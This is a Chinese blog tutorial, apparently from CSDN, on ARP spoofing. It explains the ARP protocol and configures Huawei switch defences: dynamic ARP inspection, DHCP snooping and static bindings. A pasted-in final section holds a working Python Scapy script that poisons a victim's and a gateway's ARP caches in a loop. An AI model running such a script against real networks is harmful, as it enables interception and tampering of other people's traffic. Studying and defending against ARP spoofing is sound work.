ARP中间人攻击

        ARP欺骗又叫中间人攻击,ARP协议在解析IP地址时,并不会验证目标主机的身份,攻击者把自己的MAC地址伪造成目标地址来欺骗受害者,从而截取或修改数据包,控制目标主机

网络中的数据传输所依赖的是MAC地址而不是IP地址,ARP协议负责将IP地址转换为MAC地址

ARP协议工作原理

ARP协议规定,每台计算机都需要一个ARP表,用来保存IP地址和MAC地址的映射关系

       访问IP地址的时候就去查ARP表,从而找到对应的MAC地址

       如果ARP表中匹配不到,就会使用广播的方式发送一个ARP请求

               目标主机收到请求后会使用单播的方式返回一个ARP响应,告知自己的MAC地址

       拿到MAC地址后,会将映射关系缓存到ARP表,而后传递到数据链路层

ARP欺骗又叫中间人攻击,ARP协议在解析IP地址时,并不会验证目标主机的身份,攻击者把自己的MAC地址伪造成目标地址来欺骗受害者,从而截取或修改数据包,控制目标主机

实验拓补图

实验步骤

创建VLAN ,并将其接口加入VLAN 

[S1]vlan batch  10
[S1]interface GigabitEthernet 0/0/01
[S1-GigabitEthernet0/0/1]port link-type access
[S1-GigabitEthernet0/0/1]port default vlan 10
[S1-GigabitEthernet0/0/1]interface GigabitEthernet 0/0/2
[S1-GigabitEthernet0/0/2]port link-type access
[S1-GigabitEthernet0/0/2]port default vlan 10
[S1-GigabitEthernet0/0/2]interface GigabitEthernet 0/0/3
[S1-GigabitEthernet0/0/3]port link-type access
[S1-GigabitEthernet0/0/3]port default vlan 10
[S1-GigabitEthernet0/0/3]interface GigabitEthernet 0/0/4
[S1-GigabitEthernet0/0/4]port link-type access
[S1-GigabitEthernet0/0/4]port default vlan 10

2.使能动态ARP检测功能和动态ARP检测丢弃报文告警功能

[S1]interface GigabitEthernet 0/0/1
[S1-GigabitEthernet0/0/1]arp anti-attack check user-bind enable 
[S1-GigabitEthernet0/0/1]arp anti-attack check user-bind alarm enable

3.配置DHCP Snooping功能

[S1]dhcp enable
[S1]dhcp snooping enable
[S1]vlan 10
[S1-vlan10]dhcp snooping enable
[S1-vlan10]quit

配置接口GE0/0/4为DHCP Snooping信任接口
[S1]interface GigabitEthernet 0/0/4
[S1-GigabitEthernet0/0/4]dhcp snooping trusted
[S1-GigabitEthernet0/0/4]quit

 配置静态绑定表
[S1]user-bind static ip-address 10.0.0.2 mac-address 0001-0001-0001 interface 
gigabitethernet 0/0/3 vlan 10

 

关于使用Python实现ARP中间人攻击的方法如下: 创建并发送虚假的ARP应答以更改目标机器上的ARP缓存,这会让受害者认为网关有新的MAC地址即攻击者的MAC地址。 ```python from scapy.all import * def get_mac(ip): arp_request = ARP(pdst=ip) broadcast = Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast/arp_request answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0] return answered_list[0][1].hwsrc target_ip = "192.168.1.10" gateway_ip = "192.168.1.1" # 获取真实硬件地址以便后续恢复网络连接时使用 target_mac = get_mac(target_ip) def spoof(target_ip, spoof_ip): packet = ARP(op=2, pdst=target_ip, hwdst=get_mac(target_ip), psrc=spoof_ip) send(packet, verbose=False) def restore(destination_ip, source_ip): destination_mac = get_mac(destination_ip) source_mac = get_mac(source_ip) packet = ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac) send(packet, count=4, verbose=False) try: while True: spoof(target_ip, gateway_ip) spoof(gateway_ip, target_ip) except KeyboardInterrupt: print("[+] Detected CTRL + C ... Resetting ARP tables..... Please wait.") restore(target_ip, gateway_ip) restore(gateway_ip, target_ip) ``` 上述脚本利用Scapy库构建了两个主要功能函数:`spoof()`用于发送伪造ARP请求;而`restore()`负责恢复正常通信。当运行此代码时,会持续向目标设备与默认网关广播错误消息直到收到中断信号为止,在结束之前调用了修复过程确保一切回到原样[^2]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值